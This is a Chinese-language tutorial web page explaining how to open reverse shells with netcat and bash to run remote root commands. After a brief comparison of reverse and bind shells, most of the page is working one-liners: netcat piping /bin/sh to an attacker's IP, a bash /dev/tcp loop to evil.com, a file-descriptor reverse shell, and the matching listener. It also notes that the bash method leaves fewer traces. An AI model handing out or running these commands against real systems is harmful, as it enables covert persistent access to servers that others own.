如何使用NetCat或BASH创建反向Shell来执行远程Root命令

更新时间:2016-05-06 11:20:36 点击次数:1909次

反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。

反向Shell(Reverse Shell)

Bind Shell

反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。

环境要求

使用NetCat实现反向shell交互

当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:

nc -c /bin/sh <你的IP> <任何一个未封锁的端口>

你甚至能通过netcat来pipe BASH。

    /bin/sh | nc <你的IP> <任何未封锁的端口>

然后监听这个shell:

nc -l -p <相同的端口> -vvv

通过BASH实现反向shell

这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。

监听shell:

nc -l -p <任何未封锁的端口> -vvv

先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。

exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done

或另外一个反向shell:

0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196

这样,你就可以轻松是通过netcat发送任何命令了。


本站文章版权归原作者及原出处所有 。内容为作者个人观点, 并不代表本站赞同其观点和对其真实性负责,本站只提供参考并不构成任何投资及应用建议。本站是一个个人学习交流的平台,网站上部分文章为转载,并不用于任何商业目的,我们已经尽可能的对作者和来源进行了通告,但是能力有限或疏忽,造成漏登,请及时联系我们,我们将根据著作权人的要求,立即更正或者删除有关内容。本站拥有对此声明的最终解释权。

回到顶部
嘿,我来帮您!